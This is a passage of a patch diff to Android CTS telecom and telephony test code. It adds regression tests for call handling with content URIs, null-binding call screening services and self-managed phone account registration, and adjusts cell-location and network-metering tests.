+                <action android:name="android.telecom.CallScreeningService"/>
+            </intent-filter>
+        </service>
+
         <service android:name="android.telecom.cts.MockInCallService"
             android:permission="android.permission.BIND_INCALL_SERVICE" >
             <intent-filter>
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index b45180e..ca2666b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -75,6 +75,7 @@
     public static final int FLAG_REGISTER = 0x1;
     public static final int FLAG_ENABLE = 0x2;
     public static final int FLAG_SET_DEFAULT = 0x4;
+    public static final int FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME = 0x8;
 
     // Don't accidently use emergency number.
     private static int sCounter = 5553638;
@@ -223,7 +224,12 @@
         CtsConnectionService.setUp(this.connectionService);
 
         if ((flags & FLAG_REGISTER) != 0) {
-            mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
+            if ((flags & FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME) != 0) {
+                mTelecomManager.registerPhoneAccount(
+                        TestUtils.TEST_PHONE_ACCOUNT_THAT_HANDLES_CONTENT_SCHEME);
+            } else {
+                mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT);
+            }
         }
         if ((flags & FLAG_ENABLE) != 0) {
             TestUtils.enablePhoneAccount(getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
@@ -563,6 +569,29 @@
     }
 
     /**
+     *  Verifies that a call was not placed
+     */
+    void placeAndVerifyNoCall(Bundle extras) {
+        assertEquals("Lock should have no permits!", 0, mInCallCallbacks.lock.availablePermits());
+        placeNewCallWithPhoneAccount(extras, 0);
+
+        try {
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+            }
+        } catch (InterruptedException e) {
+            Log.i(TAG, "Test interrupted!");
+        }
+
+        // Make sure any procedures to disconnect existing calls (makeRoomForOutgoingCall)
+        // complete successfully
+        TestUtils.waitOnLocalMainLooper(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        TestUtils.waitOnAllHandlers(getInstrumentation());
+
+        assertNull("Service should be null since call should not have been placed",
+                mInCallCallbacks.getService());
+    }
+    /**
      *  Puts Telecom in a state where there is an active call provided by the
      *  {@link CtsConnectionService} which can be tested.
      */
@@ -676,6 +705,21 @@
         return null;
     }
 
+    void verifyNoConnectionForOutgoingCall() {
+        try {
+            if (!connectionService.lock.tryAcquire(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                    TimeUnit.MILLISECONDS)) {
+                //fail("No outgoing call connection requested by Telecom");
+            }
+        } catch (InterruptedException e) {
+            Log.i(TAG, "Test interrupted!");
+        }
+
+        assertThat("Telecom should not create outgoing connection for outgoing call",
+                connectionService.outgoingConnections.size(), equalTo(0));
+        return;
+    }
+
     MockConnection verifyConnectionForIncomingCall() {
         // Assuming only 1 connection present
         return verifyConnectionForIncomingCall(0);
diff --git a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
index ee9359c..5043e15 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MissedCallTest.java
@@ -17,6 +17,7 @@
 package android.telecom.cts;
 
 import android.content.Intent;
+import android.os.Process;
 import android.telecom.Call;
 import android.telecom.Connection;
 import android.telecom.DisconnectCause;
@@ -29,6 +30,8 @@
     TestUtils.InvokeCounter mShowMissedCallNotificationIntentCounter =
             new TestUtils.InvokeCounter("ShowMissedCallNotificationIntent");
 
+    private static final String CMD_DEVICE_IDLE_TEMP_EXEMPTIONS = "cmd deviceidle tempwhitelist";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -71,6 +74,15 @@
         connection.setDisconnected(new DisconnectCause(DisconnectCause.MISSED));
         connection.destroy();
         mShowMissedCallNotificationIntentCounter.waitForCount(1);
+        assertTrue("After missing a call, if the default dialer is handling the missed call "
+                + "notification, then it must be in the temporary power exemption list.",
+                isOnTemporaryPowerExemption());
     }
 
+    private boolean isOnTemporaryPowerExemption() throws Exception {
+        String exemptions = TestUtils.executeShellCommand(
+                getInstrumentation(), CMD_DEVICE_IDLE_TEMP_EXEMPTIONS);
+        // Just check that this process's UID is in the result.
+        return exemptions.contains(String.valueOf(Process.myUid()));
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java
new file mode 100644
index 0000000..6b6e5ed
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningService.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.IBinder;
+import android.telecom.Call;
+import android.telecom.CallScreeningService;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * Provides a minimal CTS-test implementation of {@link CallScreeningService}.
+ * This emulates an implementation of {@link CallScreeningService} that returns a null binding.
+ * This is used to test null binding cases to ensure we unbind the service when a null binding is
+ * received from onBind.
+ */
+public class NullBindingCallScreeningService extends CallScreeningService {
+    private static final String TAG = NullBindingCallScreeningService.class.getSimpleName();
+    public static CountDownLatch sBindLatch = new CountDownLatch(1);
+    public static CountDownLatch sUnbindLatch = new CountDownLatch(1);
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.i(TAG, "onBind: returning null service");
+        sUnbindLatch = new CountDownLatch(1);
+        sBindLatch.countDown();
+        return null;
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        Log.i(TAG, "onUnbind: unbinding service");
+        sBindLatch = new CountDownLatch(1);
+        sUnbindLatch.countDown();
+        return false;
+    }
+
+    @Override
+    public void onScreenCall(Call.Details callDetails) {
+        Log.i(TAG, "onScreenCall");
+    }
+
+    public static void resetBindLatches() {
+        sBindLatch = new CountDownLatch(1);
+        sUnbindLatch = new CountDownLatch(1);
+    }
+
+    public static void enableNullBindingCallScreeningService(Context context) {
+        ComponentName componentName = new ComponentName(context,
+                NullBindingCallScreeningService.class);
+        context.getPackageManager().setComponentEnabledSetting(componentName,
+                PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                PackageManager.DONT_KILL_APP);
+    }
+
+    public static void disableNullBindingCallScreeningService(Context context) {
+        ComponentName componentName = new ComponentName(context,
+                NullBindingCallScreeningService.class);
+        context.getPackageManager().setComponentEnabledSetting(componentName,
+                PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                PackageManager.DONT_KILL_APP);
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java
new file mode 100644
index 0000000..b88643a
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/NullBindingCallScreeningServiceTest.java
@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.role.RoleManager;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.UserHandle;
+import android.telecom.TelecomManager;
+
+import java.util.concurrent.Executor;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class NullBindingCallScreeningServiceTest extends BaseTelecomTestWithMockServices {
+    private static final int ASYNC_TIMEOUT = 10000;
+    private static final String ROLE_CALL_SCREENING = RoleManager.ROLE_CALL_SCREENING;
+    private static final Uri TEST_OUTGOING_NUMBER = Uri.fromParts("tel", "6505551212", null);
+
+    private RoleManager mRoleManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        NullBindingCallScreeningService.enableNullBindingCallScreeningService(mContext);
+        mRoleManager = (RoleManager) mContext.getSystemService(Context.ROLE_SERVICE);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        // Ensure NullBindingCallScreeningService pkg holds the call screening role.
+        addRoleHolder(ROLE_CALL_SCREENING,
+                NullBindingCallScreeningService.class.getPackage().getName());
+        NullBindingCallScreeningService.resetBindLatches();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        // Remove the app from the screening role.
+        removeRoleHolder(ROLE_CALL_SCREENING,
+                NullBindingCallScreeningService.class.getPackage().getName());
+        NullBindingCallScreeningService.disableNullBindingCallScreeningService(mContext);
+    }
+
+    public void testNullBindingOnIncomingCall() throws Exception {
+        Uri testNumber = createRandomTestNumber();
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, testNumber);
+
+        // Verify that binding latch counts are reset for testing
+        assertBindLatchInit();
+        // Add a new incoming call
+        mTelecomManager.addNewIncomingCall(TestUtils.TEST_PHONE_ACCOUNT_HANDLE, extras);
+        // Assert unbind after onBind return a null service
+        assertBindLatchCountDown();
+        // Wait until the new incoming call is processed. Needed for proper tear down.
+        waitOnAllHandlers(getInstrumentation());
+    }
+
+    public void testNullBindingOnOutgoingCall() throws Exception {
+        Uri testNumber = createRandomTestNumber();
+        Bundle extras = new Bundle();
+        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_OUTGOING_NUMBER);
+
+        // Verify that binding latch counts are reset for testing
+        assertBindLatchInit();
+        // Create a new outgoing call.
+        mTelecomManager.placeCall(testNumber, extras);
+        // Assert unbind after onBind return a null service
+        assertBindLatchCountDown();
+    }
+
+    private void assertBindLatchInit() {
+        assertTrue(NullBindingCallScreeningService.sUnbindLatch.getCount() == 1);
+        assertTrue(NullBindingCallScreeningService.sBindLatch.getCount() == 1);
+    }
+
+    private void assertBindLatchCountDown() {
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingCallScreeningService.sBindLatch));
+        assertTrue(TestUtils.waitForLatchCountDown(NullBindingCallScreeningService.sUnbindLatch));
+    }
+
+    private void addRoleHolder(String roleName, String packageName)
+            throws Exception {
+        UserHandle user = Process.myUserHandle();
+        Executor executor = mContext.getMainExecutor();
+        LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue(1);
+
+        runWithShellPermissionIdentity(() -> mRoleManager.addRoleHolderAsUser(roleName,
+                packageName, RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP, user, executor,
+                successful -> {
+                    try {
+                        queue.put(successful);
+                    } catch (InterruptedException e) {
+                        e.printStackTrace();
+                    }
+                }));
+        boolean result = queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+        assertTrue(result);
+    }
+
+    private void removeRoleHolder(String roleName, String packageName)
+            throws Exception {
+        UserHandle user = Process.myUserHandle();
+        Executor executor = mContext.getMainExecutor();
+        LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue(1);
+
+        runWithShellPermissionIdentity(() -> mRoleManager.removeRoleHolderAsUser(roleName,
+                packageName, RoleManager.MANAGE_HOLDERS_FLAG_DONT_KILL_APP, user, executor,
+                successful -> {
+                    try {
+                        queue.put(successful);
+                    } catch (InterruptedException e) {
+                        e.printStackTrace();
+                    }
+                }));
+        boolean result = queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+        assertTrue(result);
+    }
+}
+
diff --git a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
index 494b2c8..5391ecb 100644
--- a/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/OutgoingCallTest.java
@@ -16,16 +16,30 @@
 
 package android.telecom.cts;
 
+import static android.telecom.Call.STATE_SELECT_PHONE_ACCOUNT;
+import static android.telephony.TelephonyManager.CALL_STATE_RINGING;
+
+import android.content.ContentValues;
 import android.content.Context;
+import android.content.ContentProviderOperation;
+import android.content.ContentResolver;
 import android.media.AudioManager;
 import android.net.Uri;
 import android.os.Bundle;
+import android.provider.Contacts;
+import android.provider.ContactsContract;
+import android.telecom.Call;
 import android.telecom.CallAudioState;
 import android.telecom.Connection;
 import android.telecom.TelecomManager;
 import android.telephony.PhoneStateListener;
 import android.telephony.TelephonyManager;
+import com.android.compatibility.common.util.SystemUtil;
 
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
@@ -38,18 +52,53 @@
 
     private static final String TEST_EMERGENCY_NUMBER = "9998887776655443210";
 
+    Uri mPersonRecord = null;
+    Uri mPhoneRecord = null;
+    private final static String TEST_PHONE_NUMBER = "+18005552871";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
         NewOutgoingCallBroadcastReceiver.reset();
         if (mShouldTestTelecom) {
-            setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+            setupConnectionService(null,
+                    FLAG_REGISTER | FLAG_ENABLE | FLAG_PHONE_ACCOUNT_HANDLES_CONTENT_SCHEME);
+
+            try {
+                // Add a test contact
+                ContentResolver cr = getInstrumentation().getTargetContext().getContentResolver();
+                mPersonRecord = null;
+                mPhoneRecord = null;
+
+                // insert a contact with phone number
+                ContentValues values = new ContentValues();
+                values.put(Contacts.People.NAME, "CTS test contact");
+                mPersonRecord = cr.insert(Contacts.People.CONTENT_URI, values);
+                Uri phoneUri = Uri.withAppendedPath(mPersonRecord,
+                        Contacts.People.Phones.CONTENT_DIRECTORY);
+                values.clear();
+                values.put(Contacts.People.Phones.TYPE, Contacts.People.Phones.TYPE_HOME);
+                values.put(Contacts.People.Phones.NUMBER, TEST_PHONE_NUMBER);
+                mPhoneRecord = cr.insert(phoneUri, values);
+
+            } catch (Exception e) {
+                assertTrue("Failed to insert test contact", false);
+            }
         }
     }
 
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
+        ContentResolver resolver = getInstrumentation().getTargetContext().getContentResolver();
+
+        if (mPersonRecord != null) {
+            resolver.delete(mPersonRecord, null, null);
+        }
+        if(mPhoneRecord != null) {
+            resolver.delete(mPhoneRecord, null, null);
+        }
+
         TestUtils.clearSystemDialerOverride(getInstrumentation());
         TestUtils.removeTestEmergencyNumber(getInstrumentation(), TEST_EMERGENCY_NUMBER);
     }
@@ -63,6 +112,20 @@
     } */
 
     /**
+     * Verifies that providing content URI instead of tel/sip uri does not start a call
+     *
+     */
+    public void testDoNotStartCallWithContentUri() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        final Bundle extras = new Bundle();
+        extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, mPhoneRecord);
+        placeAndVerifyNoCall(extras);
+        verifyNoConnectionForOutgoingCall();
+    }
+
+    /**
      * Verifies that providing the EXTRA_START_CALL_WITH_SPEAKERPHONE extra starts the call with
      * speakerphone automatically enabled.
      *
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 875122b..df375ba 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -16,8 +16,18 @@
 
 package android.telecom.cts;
 
+import static android.media.AudioManager.MODE_IN_CALL;
+import static android.media.AudioManager.MODE_IN_COMMUNICATION;
+import static android.telecom.cts.TestUtils.SELF_MANAGED_ACCOUNT_LABEL;
+import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+import static android.telecom.cts.TestUtils.waitOnAllHandlers;
+
+import static org.junit.Assert.assertNotEquals;
+
 import android.content.Context;
 import android.database.Cursor;
+import android.graphics.Color;
 import android.media.AudioManager;
 import android.net.Uri;
 import android.os.Bundle;
@@ -122,6 +132,33 @@
                 TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_3);
     }
 
+    public void testSelfManagedConnectionServiceRegistrationUnmodifiable() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        verifyAccountRegistration(TestUtils.TEST_SELF_MANAGED_HANDLE_1,
+                TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1);
+        PhoneAccount newPhoneAccount = PhoneAccount.builder(
+                        TEST_SELF_MANAGED_HANDLE_1, SELF_MANAGED_ACCOUNT_LABEL)
+                .setAddress(Uri.parse("sip:test@test.com"))
+                .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+                .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER
+                        | PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING
+                        | PhoneAccount.CAPABILITY_VIDEO_CALLING)
+                .setHighlightColor(Color.BLUE)
+                .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+                .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+                .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+                .build();
+        try {
+            mTelecomManager.registerPhoneAccount(newPhoneAccount);
+            fail("Self-managed phone account can be replaced to a call provider phone account!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
     private void verifyAccountRegistration(PhoneAccountHandle handle, PhoneAccount phoneAccount) {
         // The phone account is registered in the setup method.
         assertPhoneAccountRegistered(handle);
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index a360bd9..e16bf13 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -76,10 +76,14 @@
     public static final String REMOTE_COMPONENT = "android.telecom.cts.CtsRemoteConnectionService";
     public static final String ACCOUNT_ID_1 = "xtstest_CALL_PROVIDER_ID_1";
     public static final String ACCOUNT_ID_2 = "xtstest_CALL_PROVIDER_ID_2";
+    public static final String ACCOUNT_ID_SIM = "sim_acct";
     public static final String ACCOUNT_ID_EMERGENCY = "xtstest_CALL_PROVIDER_EMERGENCY";
     public static final String EXTRA_PHONE_NUMBER = "android.telecom.cts.extra.PHONE_NUMBER";
+    public static final String SIM_ACCOUNT_LABEL = "CTSConnectionServiceSim";
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
             new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_1);
+    public static final PhoneAccountHandle TEST_SIM_PHONE_ACCOUNT_HANDLE =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_SIM);
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE_2 =
             new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_2);
     public static final PhoneAccountHandle TEST_EMERGENCY_PHONE_ACCOUNT_HANDLE =
@@ -127,6 +131,36 @@
             .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
             .build();
 
+    public static final PhoneAccount TEST_PHONE_ACCOUNT_THAT_HANDLES_CONTENT_SCHEME =
+            PhoneAccount.builder(
+                            TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+                    .setAddress(Uri.parse("tel:555-TEST"))
+                    .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
+                    .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+                            PhoneAccount.CAPABILITY_VIDEO_CALLING |
+                            PhoneAccount.CAPABILITY_RTT |
+                            PhoneAccount.CAPABILITY_CONNECTION_MANAGER |
+                            PhoneAccount.CAPABILITY_PLACE_EMERGENCY_CALLS |
+                            PhoneAccount.CAPABILITY_ADHOC_CONFERENCE_CALLING)
+                    .setHighlightColor(Color.RED)
+                    .setShortDescription(ACCOUNT_LABEL)
+                    .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+                    .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+                    .addSupportedUriScheme("content")
+                    .build();
+
+    public static final PhoneAccount TEST_SIM_PHONE_ACCOUNT = PhoneAccount.builder(
+            TEST_SIM_PHONE_ACCOUNT_HANDLE, SIM_ACCOUNT_LABEL)
+            .setAddress(Uri.parse("tel:555-TEST"))
+            .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+                    PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION)
+            .setHighlightColor(Color.RED)
+            .setShortDescription(SIM_ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+            .build();
+
     public static final PhoneAccount TEST_PHONE_ACCOUNT_2 = PhoneAccount.builder(
             TEST_PHONE_ACCOUNT_HANDLE_2, ACCOUNT_LABEL + "2")
             .setAddress(Uri.parse("tel:555-TEST2"))
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
index b87d594..1112b28 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
@@ -22,6 +22,7 @@
 import android.telephony.CellIdentity;
 import android.telephony.CellIdentityCdma;
 import android.telephony.CellIdentityGsm;
+import android.telephony.CellIdentityLte;
 import android.telephony.CellIdentityNr;
 import android.telephony.CellIdentityTdscdma;
 import android.telephony.CellIdentityWcdma;
@@ -97,14 +98,48 @@
     }
 
     @Test
-    public void testCellIdentityNr_asCellLocation() {
-        CellIdentity cellIdentity =
-                new CellIdentityNr(123, 456, 789, null, null, null, 0, null, null, EMPTY_SET);
+    public void testCellIdentityLte_asCellLocation() {
+        int tac = 1;
+        int ci = 2;
+        CellIdentity cellIdentity = new CellIdentityLte(123, 456, ci, 7, tac);
 
         CellLocation cellLocation = cellIdentity.asCellLocation();
 
         GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
-        assertEquals(new GsmCellLocation(), gsmCellLocation);
+        assertEquals(tac, gsmCellLocation.getLac());
+        assertEquals(ci, gsmCellLocation.getCid());
+        // psc is not supported in LTE so always 0
+        assertEquals(0, gsmCellLocation.getPsc());
+    }
+
+    @Test
+    public void testCellIdentityLte_unavailable_asCellLocation() {
+        CellIdentity cellIdentity = new CellIdentityLte();
+
+        CellLocation cellLocation = cellIdentity.asCellLocation();
+
+        GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+        // -1 for unintialized lac and cid
+        assertEquals(-1, gsmCellLocation.getLac());
+        assertEquals(-1, gsmCellLocation.getCid());
+        // psc is not supported in LTE so always 0
+        assertEquals(0, gsmCellLocation.getPsc());
+    }
+
+    @Test
+    public void testCellIdentityNr_asCellLocation() {
+        int tac = 1;
+        CellIdentity cellIdentity =
+                new CellIdentityNr(123, tac, 789, null, null, null, 321, null, null, EMPTY_SET);
+
+        CellLocation cellLocation = cellIdentity.asCellLocation();
+
+        GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+        assertEquals(tac, gsmCellLocation.getLac());
+        // NR cid is 36 bits and can't fit into the 32-bit cid in GsmCellLocation, so always -1.
+        assertEquals(-1, gsmCellLocation.getCid());
+        // psc is not supported in NR so always 0, same as in LTE
+        assertEquals(0, gsmCellLocation.getPsc());
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 0a5a374..c6f1aa6 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -331,6 +331,9 @@
         assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
                 TextUtils.isEmpty(mDestAddr));
 
+        // disable suppressing blocking.
+        TelephonyUtils.endBlockSuppression(getInstrumentation());
+
         String mccmnc = mTelephonyManager.getSimOperator();
         // Setting default SMS App is needed to be able to block numbers.
         setDefaultSmsApp(true);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 095e043..02df1b0 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_CONGESTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
@@ -124,6 +125,7 @@
     @AfterClass
     public static void tearDownClass() throws Exception {
         if (!isSupported()) return;
+        TelephonyUtils.flushTelephonyMetrics(InstrumentationRegistry.getInstrumentation());
     }
 
     @Before
@@ -347,13 +349,12 @@
         mSm.setSubscriptionPlans(mSubId, Arrays.asList(buildValidSubscriptionPlan()));
 
         // Cellular is metered by default
-        assertFalse(cm.getNetworkCapabilities(net).hasCapability(
-                NET_CAPABILITY_TEMPORARILY_NOT_METERED));
+        assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
 
         // Override should make it go temporarily unmetered
         {
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+                return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
             });
             mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
@@ -362,7 +363,7 @@
         // Clearing override should make it go metered
         {
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+                return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
             });
             mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 2bd8bb8..b3515cd 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -33,6 +33,11 @@
     private static final String COMMAND_REMOVE_TEST_EMERGENCY_NUMBER =
             "cmd phone emergency-number-test-mode -r ";
 
+    private static final String COMMAND_END_BLOCK_SUPPRESSION = "cmd phone end-block-suppression";
+
+    private static final String COMMAND_FLUSH_TELEPHONY_METRICS =
+            "/system/bin/dumpsys activity service TelephonyDebugService --metricsproto";
+
     public static void addTestEmergencyNumber(Instrumentation instr, String testNumber)
             throws Exception {
         executeShellCommand(instr, COMMAND_ADD_TEST_EMERGENCY_NUMBER + testNumber);
@@ -43,6 +48,14 @@
         executeShellCommand(instr, COMMAND_REMOVE_TEST_EMERGENCY_NUMBER + testNumber);
     }
 
+    public static void endBlockSuppression(Instrumentation instr) throws Exception {
+        executeShellCommand(instr, COMMAND_END_BLOCK_SUPPRESSION);
+    }
+
+    public static void flushTelephonyMetrics(Instrumentation instr) throws Exception {
+        executeShellCommand(instr, COMMAND_FLUSH_TELEPHONY_METRICS);
+    }
+
     public static boolean isSkt(TelephonyManager telephonyManager) {
         return isOperator(telephonyManager, "45005");
     }
diff --git a/tests/tests/text/AndroidTest.xml b/tests/tests/text/AndroidTest.xml
index 2af8059..8c8c30d 100644
--- a/tests/tests/text/AndroidTest.xml
+++ b/tests/tests/text/AndroidTest.xml
@@ -21,6 +21,10 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
